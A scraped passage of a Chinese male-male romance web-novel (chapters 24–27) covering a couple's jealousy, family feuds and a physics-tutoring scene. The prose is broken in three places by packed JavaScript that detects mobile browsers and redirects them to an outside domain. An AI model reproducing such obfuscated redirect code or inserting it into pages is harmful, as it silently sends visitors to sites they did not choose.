戚时连忙将人抱在怀里哄,嘬嘬脸蛋,又吸吸脖子,讨好的吻上对方光滑的凉肩,埋头在人肩窝来回蹭着,低声道歉:“程儿,体谅体谅二哥吧,二哥还没碰过男人,嗯?” 尽管很扫兴,何湛程还是心软了。 说不上来为什么,大概是撒娇男人最好命。 虽然换个人,他早就一脚把人踹地上,穿好衣服扬长而去了。 “程儿……”肩窝里的大头还在蹭他,“程儿……三少……乖乖崽……” 摆不出太臭的脸色,何湛程嘴角翘起来,勉强消气。 他转过身,仰脸凑在男人的嘴唇上啵了一下,说:“那你多亲亲我别的地方。” 那人便仔细吻遍了他全身。 事后—— 其实也算不得事后,两个人轮着去洗澡。 戚时刚伺候过人,身上火旺得一批,他先洗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409033|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何湛程靠在床头揉着脑袋,头疼地考虑着往后他俩该怎么办。 他反正是不可能在下面的,他们老何家的男人,一个比一个活在传说里,那就从来没有过“在下面”这一说,但显然,戚老二也很强势,并且很有实力。 不禁万分苦恼起来,这要是到最后谈腻了,他何老三都没能吃上口唐僧肉,那可咋整? 难不成真要等个两三年,等他长高了,再让戚老二屈服么? 不过……心里忍不住窃喜,第一个正式男友就谈这样的大帅哥,他好像也不亏。 之前都是乱七八糟的玩儿,他还没谈过男朋友呢。 何湛程美滋滋地拿起手机逛网店。 白天说过的,要给男朋友写赠语,他得找点漂亮的明信片才行。 浏览了两三百条内容,要么他自己不喜欢,要么一看就不符合戚老二的审美,正犯愁呢,许若林微信弹窗过来: —程哥,你几号回来,我去年和室友一起参加的科技创新大赛获奖了,今天分到我两万块的奖金,我帮你买机票吧 何湛程一扬眉,回: —恭喜,要送也该是我送你礼物,说吧,想要什么? 许若林: —我能说吗?我好想你,我只想要你,你快点回来好不好 何湛程啧一声,刚要跟对方说自己新交男朋友了,但想起裴玉上次表白,人家甚至都不是想做他“男朋友”,而是“情人”。 许若林也跟裴玉一样,根本不会把他最近跟谁好当回事儿,非要那个二楞小子死心,他还得亲自回一趟沪上,戴上许若林那个什么测谎仪手表,当面给人检测一次才行。 不愧是理工男,连谈情说爱都只信奉科学的力量。 正好,何湛程一边回复许若林消息,一边想,他这次回去态度要好点儿,先让老大给他把卡解冻了,该开支票开支票,该送车就送车,把许若林恩情还完,他俩彻底两清,他就可以心安理得地和这二愣子说拜拜了。 回复: —后天吧,不用你去机场接我,你老老实实在学校上课,我先回趟家再去找你 许若林: —好,那我来安排餐厅和电影吧,程哥你想吃什么?想看什么? 何湛程: —我都行,按你喜欢的就好 许若林 —好! 关掉聊天框,网店界面也关了,没好看的,何湛程已经决定明天去逛文具店和礼品店了。 戚时系着浴巾走出来,赤着上身,满身水汽,姿态强势地板起他下巴,湿淋淋地就吻了上来。 “帮我练习一下,看我有进步么?” 何湛程被禁|锢住,笑哼一声,两条手臂缠上对方的脖子,与对方回吻:“二哥净耍流氓。” 他不记得他们今天接过多少次吻了,只是感觉……这位总裁先生越来越黏他。 “崽儿……” “嗯?” “想操|你……” “我也想。” “不给你操……” “我是说,我也想操自己。” “也成……咱俩一起上……” 嘴唇贴着,俩人鼻尖相抵,一上一下对望,一齐笑了起来。 一吻结束,何湛程起身去浴室,戚时拽着他胳膊,不老实的大手在他腹下和后臀摸了几把才放他走。 关门。 戚时不客气地躺在何湛程躺过的位置,埋头拱在人家的枕头里吸发香。 枕边手机突突突震动起来,他以为是电话,随意的当做自己私人物品似的,伸手拿过来看。 屏幕还没灭掉,弹窗一连串消息,备注人是许若林。 戚时眉头锁起,心脏微微下沉,有点不太敢看。 然后毫不犹豫地点了进去。 是分享过来的五六个电影链接,都是近月热映,两部影片还有他们擎荣的艺人在担任主演。 许若林: —这些评分都不错,我有点想看那部战争片,你呢? 哈哈哈哈哈哈! 戚时被这小破孩堪忧的情商逗得心里在狂笑。 谁他妈约喜欢的人见面看战争片啊?!! 不对。 嘴角扬起的嘲笑忽地止住。 手指唰唰唰,一路往上,翻阅对话消息。 不小心刷过头了,看到许若林发来自己的高中毕业帅照,脸上猛地一顿臊热。 火速删除那两条图片消息。 接下来才是今晚的聊天记录。 今晚,九点半。 他与何湛程刚亲热过去的时间。 戚时是易燥体质,常年有个毛病,一激动紧张或者害怕,他手指就开始发冷汗。 左边一条,右边一条,一路往下,手机屏两侧被印上男人清晰的湿漉指纹。 白而发亮的俊脸,两侧咬肌发狠的鼓动,戚时眸底森凉,克制住想发火的冲动,强忍不去把手机掰成两半。 他们才刚上了床,何湛程这个小畜生就要回家约会小情人么? 呵呵。 什么狗屁的互相尊重,他信他个鬼! —把你照片发来 —要日常照,不要带美颜的 许若林: —程哥,明天行吗?我不怎么拍照片,今晚上宿舍灯发昏,采光不太好 语气不容置喙: —现在就要 等了三四分钟,对方发来两张偏暗沉的、毫无摄像技术的自拍。 可是,即便光线再暗沉、角度再刁钻,也抵挡不住男生明媚的笑颜。 像一颗酸涩含羞的柠檬树,初恋般的清爽气扑面而来。 戚时冷笑。 说话那么蠢笨,装傻充愣的,本以为是个书呆子,没曾想是个浓眉大眼的帅弟弟。 鼻梁也高,纯天然原生态,睫毛长长的,一头干练浓黑短发,一双清澈的眼睛像盛满繁星,穿着白T恤黑格子衫,但给人的感觉不像是在实验室钻研物理的,倒像是个常打篮球在赛场上挥洒汗水的。 笑得有点腼腆,显然他不太习惯面对镜头,但为了某个人,他在做自己并不习惯的事。 这一笑,就更引人疼爱了。 俊生啊! 牙齿咬得咯咯响。 —咱俩上过几次床来着? 许若林: —一次 —但做了四次,浴室两次,床上两次,你夸我乖 过了半分钟,又试探着发来: —后天需要我订酒店吗? —滚!!!!!!! 二十分钟后,何湛程笑着推浴室门出来。 嘴角始终扬着,满脑子都是今晚新交了大帅逼男朋友的美事儿,对方还是个成熟靠谱的上市集团CEO,所以预计,他和他的关系至少会稳定个一两年。 本想着也学着刚才戚时的样子,走去床边和对方啵个嘴儿,没料抬眼望去,凌乱的床上空无一人。 “二哥?”他微讶,手上拿毛巾擦着头发,赤着脚踩在地上,满屋四下寻找着那人。 “二哥?” “二哥,我出来了。” 最后被床头柜上放的一张白色纸片吸引。 何湛程疑惑着走过去。 是今晚一个都没用的避孕套盒,被人粗暴地撕开当便利贴。 不知道哪儿拿的圆珠笔,落笔比上次显然有进步的大字: —早点休息,我公司有事,先回了 25. 第25章 “你爱我吗?” “不爱。” “你喜欢我吗?” “不喜欢。” “从未喜欢过吗?” “之前喜欢,现在不喜欢。” “现在一点都不喜欢吗?” “对。” “你现在有喜欢的人吗?” “有。” “你……你爱他吗?” “不知道。” “你脑子里在想什么?” “在想我家远在燕京的大宝贝吃醋好了没有。” 快问快答,无缝衔接高效率交锋对话,半秒不允许迟疑。 二人对座在布置浪漫的高级情侣餐厅包厢,四目紧紧凝视着对方,却仿佛身处刀光剑影。 半分钟,这场荒诞的测试游戏正式宣告结束,何湛程和许若林将戴在腕上的机械手表摘下来,放到铺着香烟盒卡片的简式木盒里,各自消化着自己的情绪。 何湛程毫无波澜,冷静的像具会说话的尸体,许若林没被电到,脸上是掩盖不住的落寞,但这么长时间,他早有心理准备,知晓结果后也不吭声,安静地低头吃着饭,再不跟何湛程强求什么。 何湛程假装没看到对方表情,他拉过桌上那个许若林从实验室角落里刨出来装手表的小破盒,闲闲把玩着这两只被花花绿绿线路和芯片拼装成的半成品。 就像人体脉络,内脏血管完整,外形么…… 没有外形。 表带是一圈丑不拉几的钛合金链,表盘底部是一块约10mm的铜色金属片,繁复的零件堆砌在上面,像一座迷你小工厂,贴在腕上凉丝丝的,足够机械重工,但连表针都没有,一看就是试验产品,根本不像一块正常的手表。 右手端起高脚杯,心不在焉地抿了口红酒。 问对方:“我今天开来载你的那辆奔驰,怎么样?” 许若林立刻从盘子里抬头,捧场道:“很帅!” 何湛程抬眼看他:“问你呢,喜不喜欢。” 许若林瞳孔倏地放大又缩小,他意识到什么:“我?” 何湛程不耐烦了,扬手直接将车钥匙抛过去。 许若林吓得赶紧起身一把接住,有点无措地看向对面人:“程哥,你、你这样显得我很——” “谁说白给你了?”何湛程打断他,冲人晃了下手里的手表:“车送你,这个送我,咱们两清了。” 许若林“啊”了一声,说:“这个是我做着玩儿的东西,不值钱的。” 何湛程晃着红酒杯,满不在意道:“就是说啊,我现在不拿走,你带回去给我再鼓捣鼓捣,搞得正常一点,让这对儿看起来像个真正的情侣手表。” 他们现在没有感情牵扯了,许若林便少了几分畏缩气,他直挺挺地坐回去,大着胆子问:“是要给你在燕京的那个……那个大宝贝戴吗?” 何湛程笑眯眯的:“对呀。” “为什么是大宝贝?他年纪很大吗?我以为你喜欢年纪偏小的。” “不啊,”何湛程翘腿晃荡着脚,冲人吊儿郎当地笑,“我恋爱就喜欢和年纪大的谈,成熟稳重,又帅又多金,还很会疼人。” “哦……”许若林低着头,成功又被浇下一盆冷水。 “吃饭吧。”何湛程放下腿,动刀叉开始用餐,催促对面,“晚上没课吧?待会你送我去机场。” 许若林惊讶:“你这么快就要走啊,我以为你回来就不走了呢。” 何湛程冷哼一声:“我他妈得赶紧回去哄那傻逼大宝贝啊,不然什么时候被人甩了都不知道。” 许若林不想再参与这个“大宝贝”相关话题,弱弱地点了下头,小声说:“幸亏今天上午把电影看了,不然你晚上走,就看不了了。” 何湛程阴沉着脸呵呵笑。 不说这个还好,一说这个他就来气。 许若林本来买的晚上的电影票,就因为被骂了句滚,连忙换时间到青天白日的大上午,早九点开场的战争片,生怕给人以图谋不轨的误解,害得头一天夜里刚抵达沪上的他连场好觉都没睡成,大早上就被迫从被窝爬起来去学校接人去看电影。 戚时那个大傻个儿,就是纯混蛋一个,他何老三自认对这个新男友已经足够偏爱了,没想到这狗日的竟然敢翻他手机聊天记录,还以他的名义找许若林要照片? 这还不是最可恨的。 最可恨的是,戚老二冒名顶替他聊天就算了,消息记录居然删都不删,藏都不藏一下? 【咱俩上过几次床来着?】 看看戚老二问的这叫什么话!! 真是嚣张至极啊,可把他给牛逼坏了。 何湛程那晚看完避孕套留言,心里还挺暖,立刻找手机给男朋友发信息,想提醒大宝贝回家路上开车注意安全,没想到许若林突然发来一条“我错了,你别生气”,他惊讶,刚点进去,看到的就是戚老二这几句差点把他气晕过去的话。 就这,还注意什么安全? 直接来辆货车撞死那狗日的算了。 也不听解释。 何湛程当晚就打电话过去,憋着火气,想先把人哄高兴了,以后再寻摸个机会把人给整一顿,没料戚老二接了电话,就淡淡一句:“我睡了,有事明天说。” 行,吃醋么,没事儿,他理解。 第二天又耐着性子打电话过去,早上,戚老二还肯接,但不等他开口,说一句“我在忙”就挂断了,高冷又欠揍,拽得要死要活,气得他上午就打车跑人公司里了,没曾想戚老二早有预料,故意躲他,一整天都没出现,最后还是茉莉给他报销的车费。 他问茉莉戚老二死哪儿去了?茉莉答非所问,只告诉他,以后要花钱直接联系她,她家戚总不会再管他这些鸡毛琐碎的小事了,以及,她可以帮他买任何东西,但不会帮他订回沪上的机票。 何湛程当时是有点心慌,他闹不清自己到底在怕什么。 区区一个男人而已,又不是非戚老二不可。 在茉莉面前装得若无其事,然后回酒店灌了自己好几瓶酒,才鼓足勇气给人发微信,问: —你是在吃醋,还是跟我分手了? 那人回: —在开会,手机信号不好。 装蒜的狗男人。 没信号,呵,总裁大人是在深山老林里开会么? 不过何湛程松一口气,暂时将对方的行为归结为吃醋了。 但机票还是要订,许若林也要见,钱要给,车要送,答应过的事要做到。 从小到大,他家老爷子疼他跟疼孙子似的,基本没怎么严格要求过他,唯一耳提面命的,就是做人要有恩必报。 人命关天,人家救了他,他如果不报恩就想着和对方撇清关系,以后是要遭报应的。 他大哥那个老狐狸,他回家要钱,他大哥不给,说,半年就是半年,他私自跑回来是违反契约精神,银行那边至少会将他账户冻结五个月,他可以乱来,但他大哥作为集团董事,不能不对银行守信用。 何湛程知道那老狐狸是糊弄他,但他没招儿,就打电话给他妈,他妈没在家,据说是被他大哥送去欧洲度假去了。 他妈也拒绝他,在电话那头苦口婆心地劝着:“乖儿子,妈妈求你了,你懂点事吧,你爸都发话了,一定要趁你年轻赶紧把你身上这些毛病都改过来,你就先听你大哥的吧,你爸现在都七十多了,说不准哪天就闭眼了,往后咱娘俩就指望着你大哥养呢,这么多年了,你到底有什么跟你大哥过不去的?” 她还说? 她还好意思问? 是谁二十年来,只要一逮住机会就提醒他,当年他命悬一线时,他大哥偷偷跑进重症监护室把他氧气罩给拔了的? 是谁从小到大,动不动就在他耳边掉眼泪诉苦,讲她刚嫁进何家那几年,他大哥那个小畜生动不动就甩她脸色,明里暗里把她当仆人欺负的? 是谁背地里倒豆子似的,偷偷将一个又一个秘密讲给他听,说他大哥的生母是菲律宾的一个拥有着不少财产但身子是残花败柳的女人,她给他爸生了好几孩子,除了他大哥,包括那个女人,他们全都在一场枪战里死掉了? 她说他大哥命硬,五六岁的年纪,从尸山血海里爬出来,想发设法地求着他爸带他回国做少爷,这样肮脏不堪的出身,从小就懂阴险的机谋,哪里配和他、还有他二哥这样真正的天之骄子相提并论? 他二哥也是她生的,但二哥根本不理她那套。 他最小了,也最乖,从小就被她捧在手心里疼着、爱着,娘俩二十年来始终站一条线,现在好了,他爸联合他大哥要治他,她又把他何湛程说得里外不是人了。 他就把老爷子送她的那间四季如春遍地开花的温室全给砸了。 还命人往狼藉一片的绚烂花地上泼满了黑色的油漆。 什么是残花败柳? 这才是残花败柳。 他不要种植着她幸福的温室再开花了。 他爸就更不理他了。 老爷子想清净,连住哪个养老院都不让家里人告诉他,就是为了躲他。 老头儿一见他撒娇,就要心疼他受苦受累,哪里会舍得管教他? 何湛程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409034|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一个个家里人气得牙痒痒。 他急着回燕京哄人,没空陪这群人耗,最后忍辱负重放低姿态,站在老大面前,发誓往后余生绝不再对他吐一个脏字,老大才稍微露出点满意神态。 “我就说,燕京那位,绝对能管得住你。” 然后大笔一挥,给他签了一张三千五百万的支票。 这般轻易地就签了。 三千五百万不算个小数目,但这人问也不问,眼皮也不抬一下,就这般轻易地签了。 何湛程低头看着他大哥签在支票上的、那凌厉如刀锋削出的字迹,沉默良久。 然后,抬头问: “我想知道,你为什么要把我和他绑在一起。” 老大自幼谨言慎行,对内对外,稳持自重,根本不是多嘴的人,尤其对他何湛程,这人更是不屑一顾,遑论八卦了。 何湛程也是事后某天才回味过来,当初在酒店和老大那通电话,这人显然是有几分要撮合他和戚老二的意思。 那个人却不正面回应,高大的身躯犹如一把寒气四溢的刀,冷冷地插在办公桌前的深棕皮座椅上。 居高临下俯视的眼神,将他从上到下的打量,而后,薄唇勾着一抹笑:“你说呢?你不觉得你们凑在一起很合适么?” “哪方面的合适?” “哪方面都很合适啊。” “我不懂你什么意思,你这个身份又没必要去屈尊结交他。” “所以,现在是我坐在这个位子上,而不是你。” “……死装男。” “小畜生,你刚发过誓不骂我。” “我错了。” “滚吧。” 就如那人随意签下的支票,将近二十年的恩怨乃至仇恨,他们就这般轻易地和好了。 何湛程从来不对那人表达自己内心深处的敬仰与尊崇,正如那人也从来不夸他偶尔的乖巧可爱。 可他在外游戏人间,会骄傲地对别人说“看,这是我们家老大!”,那人不厌其烦地帮他处理烂摊子时,也对人抱歉地称他为“我那个不懂事的弟弟”。 直到出何氏集团大楼的那一刻,何湛程才猛然意识到,他们之间原来并没有什么深仇大恨。 这一切,只因上一辈说不清道不明的孽缘。 他心情很好,仰望一眼头顶湛蓝色的天空,掏手机给他二哥何棣坤打电话: “老二,活着呢没?我好像突然理解你为啥要跟老大站一条线了。” 他二哥:“废话,不然谁把我从局子里捞出来?咱妈么?你么?” 何湛程:“……” 他混归混,要说脾气上来就搞绑架囚|禁那套,还得是他二哥。 老二这人为爱痴狂得有点过分,睁眼瞎惹到了不该惹的人,他们家族里,但凡头上顶着“何”字的男丁,出门在外面啥都干,但还没一个人进去过局子呢。 他轻笑:“躲哪儿去了?有空我找你玩儿去。” 他二哥:“墨西哥呢,你来,我教你打枪。” 他:“OK。” 夜幕黑沉,一架飞机亮着灯缓缓启航,机场外,身穿黑格子衫的男生站在奔驰车旁,仰头看他心爱的人就这样直线向北飞去。 视线有点模糊,泪水沾湿红眼眶,那是一种酸涩的委屈,剩到最后,只有认命和无奈。 他忍不住低头给人发消息: —程哥,手表我会尽快给你组装好的 —生活上有困难随时找我,我赚三份兼职工钱,虽然帮不上大忙,但起码能解你的燃眉之急 对方冷漠地回: —你个穷鬼,以后好好学习吧 许若林叹了口气,他现在确实穷鬼。 刚到手的两万块奖金花销如下: 一半孝敬给了爸妈,剩下一万,五千块帮心爱的人买了往燕京-沪上的往返头等舱机票,两千块定了高档情侣餐厅,一千多送了人家个小礼物,剩下几百块充了饭卡。 但—— 许若林坐回车准备离开时,才发现何湛程并没有带走他的小礼物。 空荡荡的副驾座椅上,正中央摆放着一个打开了的黑丝绒小盒。 那是一条闪闪发光的紫水晶手串,漂亮纯粹如那个人含笑迷离的眼眸,他希望给他爱的人带来好运气。 他爱的人,却并不爱他,因此并没有赏脸带走这份他给的好运气。 盒子底下还压了一张白条,他从裤兜摸出眼镜,抽出来眯眼看着。 那是一张何氏集团副董事长亲笔签名赠与他许若林的、价值三千五百万的大额支票。 26. 第26章 “啪”的一声! 一纸辞职信被拍到沙发前的欧式茶几上,惊得坐在沙发上正埋头认真读剧本的两个人一齐打了个哆嗦。 是一对儿年龄差略大的情侣,穿着同款家居服,男人高挺的鼻梁上架着戴着一副金丝眼镜,男孩儿嘴里叼着根棒棒糖,抱着本子依偎在他身旁。 二人抬头,望向桌前这位突然造访的恶客。 “你,”恶客气势汹汹地一戳手指,指向沙发上那个横空出世抢走他家的男绿茶,说,“你闪一边儿去,老子要跟我哥谈谈!” 男孩儿切了声,扭头看一眼旁边的男人,说:“那我先去书房了。” 男人点点头,将桌上堆得几个剧本都给人带走,然后稍微整理了下衣服,伸手拿起辞职信扫了一眼。 大概在自家比较随意,男人比上次在办公室要平和的多,嘴里念念叨叨着:“一声不吭就来了,也不知道提前打个电话,不是告诉过你,搬走了没事儿就别回来了吗?” 戚时哼一声,一屁股坐桌头的单人沙发上,一双长腿叠起,踩脚在茶几上,满不在意地抱怨:“咋,你就见色忘义到这种程度,亲弟弟还不能回家来看你了?” 男人一笑,抬眼瞅他:“你是来看我么?” 手里冲人扬了扬那封辞职信,没好气道:“你小子一年至少要跟我撂三次挑子,说吧,这次又是因为什么?” 戚时放下腿,蹭地俯身凑过去,一脸认真道:“哥,我发誓这次我是真的想走,之前想辞职都是因为烦,但这次不一样。” 男人一扬眉,问:“怎么不一样。” 戚时说:“这一次,我要去海外留学深造,然后学成归来,报效祖国!” 男人微讶:“你要念书?” 天知道当初让这小子读个硕士有多难,怎么现在这人突然就转性了? 他自己没能上个好大学,近几年好容易闲暇下来,花功夫读了几个学位,也都是侧重影视编导方向的课程,曾经少年时代感兴趣的文学、最擅长的物化生,都随着流逝的光阴,永远停留在了二十年前,那个数十年如一日煎熬着、苦痛着、纠结流泪着的,十七岁少年的梦里。 他这个弟弟,平时吊儿郎当的,只有到关键时候才肯展现出真正的实力来,所以本科考得还算不错,他当时也有私心,想让弟弟替自己完成未完成的心愿,戚时大学刚毕业,他就送了人一辆大G、一套公寓,半哄半糊弄着人再多念几年,要求这小子哪怕是混,也得给他混到研究生毕业。 好在小子懂事,每次都超额完成任务,也让他这个做哥哥的十分欣慰知足。 但—— 知子莫若父,知弟莫若兄。 他是非常清楚这小子是宁愿喝砒霜也不愿意主动学习的死犟性子的。 于是好奇问:“你读书,你想学什么呢?金融管理?还是继续练你的体育?” 戚时郑重其事地说:“我要学物理。” 戚铭以为自己耳朵聋了,皱眉侧身靠过去问:“……啥?” 戚时同学宣誓一般,双目炯炯有神地看着他哥,嗓音洪亮:“哥,我要学物理!我一定要学物理!我这个年纪,正是学物理的好时候!不管你怎么劝,反正我已经深深地爱上物理了!我不仅要学物理,我还要自己研究机器人,参加科技创新大赛!往后余生,我白天黑夜都要认真地学习物理,我没空做总裁了,真的,因为我决定要把自己的整个生命都奉献给研究物理这一项神圣而有意义的伟大事业上!” 戚铭缓了几秒,然后“哦”一声,推推眼镜,开始考他:“关于一定量的气体,下列叙述正确的是:A.气体吸收的热量可以完全转化为功;B.气体体积增大时,其内能一定减少;C.气体从外界吸收热量,其内能一定增加;D.外界对气体做功,气体内能可能减少,你选?” 戚时脑袋发懵,愣了足足两分钟,然后默默低头抠手指头:“……我、我选C。” 戚铭:“这是高中很简单的题目,应该选A和D,这样,你再简单说一下曲线那节的几个圆周运动公式。” 戚时抬手指轻轻挠了下眉心,朝旁边人瞟过去一只眼,试探问:“是不是带小三角的那种公式啊?” 戚铭慈祥地笑:“不仅有带小三角的,还有带小零蛋和带根号的,你小子即将要投入整个生命去研究的,是哪一种啊?” 戚时:“……” 戚铭将那张辞职信卷成细卷,轻轻插回他手里,口吻不容置喙:“驳回。” 戚时猛地一攥掌心,将纸团大力抛到身后,然后烦躁地双手抱头,一个劲儿地抓着头发,恨恨地嚷:“凭什么!凭什么!凭什么都是一个妈生的,我就这么笨!!凭什么!凭什么啊!” 戚铭吓了一跳。 他不知道这人是受什么刺激了,又好笑又心疼,坐过去拍着他肩:“行了,人各有所长,你还比我高两公分呢,你哥说什么了吗?你小时候跟个小豆丁似的,个子还没我小腿长,我哪里敢想你会长成今天这样的参天大树啊?” “不过……咳,咱学物理这事儿就算了,好不好?你如果真想拿国外院校的学位,我托教育机构的朋友帮你找个靠谱的学校,你每天闲着没事儿了,就在电脑上学一两个小时的网课,行吗?” “不行!”戚时偏跟他犟,态度强硬:“我就要出国!我非要念个好学校!我非要读个牛逼的专业!随便去哪儿都好,我反正不要在这里待着了!手机号微信号也都全换新的,只加你一个,剩下的人,呵,都爱他妈谁谁谁,老子不稀罕!” 戚铭眉心一沉:“你、你……” 疯疯癫癫的,这到底是怎么了? 他本以为这小子长大后就懂事了,尤其这两年,戚时私下明里都成熟稳重不少,所以他才放心把集团交给他,他这个弟弟是能扛大任的主儿,不管干哪行都有模有样的,明明现在一切都朝着良好的方向发展,怎么这人突然就跟退化了一样,一下子又蛮不讲理地胡闹,甚至连叛逆期还不如? 戚时缓缓抬起头,眼眶竟泛着红,轻声恳求他:“哥,你就让我走吧……” 戚铭皱起眉:“你给我一个说得过去的理由。” 戚时抹了把眼,低头闷声道:“没有理由。” 戚铭:“一定有理由。” 戚时:“真的没有。” 戚铭冷哼:“那我不会让你走。” 戚时忍不住瞪他:“你是不是我哥!” 戚铭来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409035|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾气,沉声呵斥道:“那你呢?你是不是我弟!我这些年都经历过什么,你不知道吗?!老子一路摸爬滚打走到今天,白手起家创下那么大的基业,身前身后,除了脏水就脏水!我是费尽心机、筹谋好几年才把你安在了这个位置上,你是外行人,无所谓!就凭你是干干净净的,你就配享受现成的!你倒好,他妈的一年给我闹三回,说来就来,想走就走,你当这个位置这么唾手可得吗!这是你戚老二说不干就能不干的吗?!” “要不是为了你,你他妈当我愿意来啊!!!”这句话险些吼出来,戚时紧紧地咬着牙,硬生生又把这话给憋回去了。 他欠他哥太多了,这辈子都还不清,别说一个身份、一个职业,就是他这条命,他哥想要,他也应该毫不犹豫就给他。 所以他不能说半句伤他哥心的话。 “我知道了,”他垂眼认输,“这件事是我考虑不周,以后不会再提了。” 戚铭到底不忍心看弟弟这样,叹了口气,起身拍了拍他的肩膀。 “哥话说重了,别放在心上,我只想知道,你到底是怎么了。” 戚时自幼就是一流的嘴硬,埋头抠着手指:“没怎么,真的。” 戚铭犹豫了下,和人商量着:“如果……如果你真的很喜欢物理,我要不在燕京大学帮你先找个物理系的大学生辅导你基础功课?等你学差不多了,你再出国读硕,这样可以吗?” 戚时突然就憋不住了。 他将脸埋进掌心,来回大力地搓着:“哥,我真的很喜欢物理……我真的很喜欢,我也不知道自己着什么魔了,明明第一次见很讨厌他来着,可第二次,第二次……我就……我就……哥,我不喜欢别人抢我的物理书,但该死的是,好像他们每个人都喜欢学物理……” 戚铭一头雾水。 他不傻,隐约能听出弟弟意有所指,但是猜不透这人究竟在指什么。 只好耐下性子安慰:“好了好了,我知道你很喜欢物理了,学不会你也不用觉得太自卑,你这么帅,这么高,这么事业有成,过着这么富足的生活,你已经胜过很多学物理的人了,知道吗?” “那你也得给我找个大学生。” “行。” “要男的,帅的,大一的,参加过科技创新大赛的。” “帅的?” “丑的看着心烦,本来上班就烦。” “好,我知道了。” “最好皮肤白,会撒娇,微分碎盖,脸小,嗯,要鼻子尖尖的,嘴唇撅起来很好看的那种。” “老二。” “来见我的时候,要穿白衬衫打领带,还有红——” “老二!” 他懵然抬头:“嗯?” “那是燕京大学,是大学,大、学!”那双藏在金丝镜框后的犀利深眸,似有察觉地审视着他,手指敲了两下桌子,提醒道:“不是你花天酒地的会所。” “那行,”戚时无所谓地笑,仰身靠在沙发上,重新翘起二郎腿,挥了挥手,“就先这些条件吧,哥,你去找吧!” 戚铭忽地眯起眼:“你小子……是不是爱上谁了?” 戚时别过脸不屑一笑。 “绝对没有。” 27. 第27章 中午十一点五十分。 燕京大学,物理系,某间自习室。 讲台上堆着一摞打印的讲义,包含遍初、高中的基础内容,年轻老师是去年某省考状元,理综成绩尤为卓著,他并不按照传统授课方式,从初中到高中一本本的讲,而是花三天时间,将这五学年的内容全部串联起来,先为他的笨学生梳理整体树干,再徐徐蔓延进枝杈。 笨学生能看出来,这位十八岁的状元老师是真心热爱物理,一堂课俩小时干货满满,滔滔不绝半口水都不带喝的,无论内容难易,此人都能讲得红光满面,令坐在台下犯困的他深感欣慰。 很好,虽然祖国少了一位叫戚时的物理学家,但祖国还有一位对物理满腔热忱的状元少年! 状元老师穿着某位家长要求的白衬衫,打着黑领带,踩着一双红帆布鞋,两条笔直的长腿在多媒体和黑板来回走动着,又白又帅又清爽,只是授课嗓门洪亮了些,英眉峻挺,威严感满满,不时将目光投向坐在第二排正中央的笨学生,声线笔直地问:“这个能听懂吗?” “嗯嗯。”笨学生心不在焉地点头,一笔一划地做着笔记,公式没写几个,条格本空白处倒是画满了叼着玫瑰坐在他办公桌上的漂亮小人。 尤其是那双眼,笑意迷离,风情无限。 完全是男版美杜莎,谁和他对视上就会被石化。 不,谁被他含情脉脉地注视过一次,就会深深地爱上他。 笨学生指尖灵活地转着万宝龙钢笔,盯着那些妖娆的黑色火柴人,心想,他不应该是物理学家,他应该是一个画家。 一生只画一个人的那种画家。 “今天就讲到这里吧,”状元老师在讲台上发话,“把你的笔记本拿过来,我看看。” 戚时头皮一麻,猛然抬头。 状元老师望着他笑:“怎么?光忙着从事艺术事业,没工夫钻研你热爱的物理了吗?” 戚时脸上一红。 真是的,他这个年纪了,位高权重的,居然还要被一个刚进大学不久的小屁孩教训。 不过呢,他现在的人设是一个大二退学要重考燕大物理系的燕体生,怕人瞧出他真实年纪,今天专门穿得嫩了些。 他体质偏热,四月份的天气,纯白T恤配浅棕棒球服,脖颈间挂了条银色子弹头项链,底下一件宽松舒服的运动裤,挎个大书包,脚踩着某个人送他的全球限量版球鞋,劳力士也没戴,换了个普通的运动智能手表。 今天也没做造型没抹发胶,微分碎盖的倒成他了。 状元老师也和他是一个发型。 嘴唇也薄,笑起来很好看,无论相貌,还是浑身散发着的那股子聪明劲儿,放在人群里都是很出挑的类型。 要么说他老哥无所不能呢,人脉就是广,他那么苛刻的要求,他哥都帮他找到了,还告诉他说:“这个孩子也不喜欢女人”。 他哥还是看出来了,他没吭声。 他哥没怎么跟他讨论这件事,只问了一句“我是不是带坏你了”,他说“嗯,都赖你”。 不赖他哥,赖谁? 赖某个勾引完他又跑去和别人约会上床的风流兔崽子吗? 他是一个有尊严的男人。 他不想再跟那样的花心坏蛋有任何牵扯了。 可整整俩小时,他将这位状元老师欣赏不到十分钟,心里就又开始落寞起来。 大概是饿了。 戚时起身收拾东西,他要去燕大的食堂吃饭。 一小时三百块,才学几个公式,他得让状元老师请他吃顿好的。 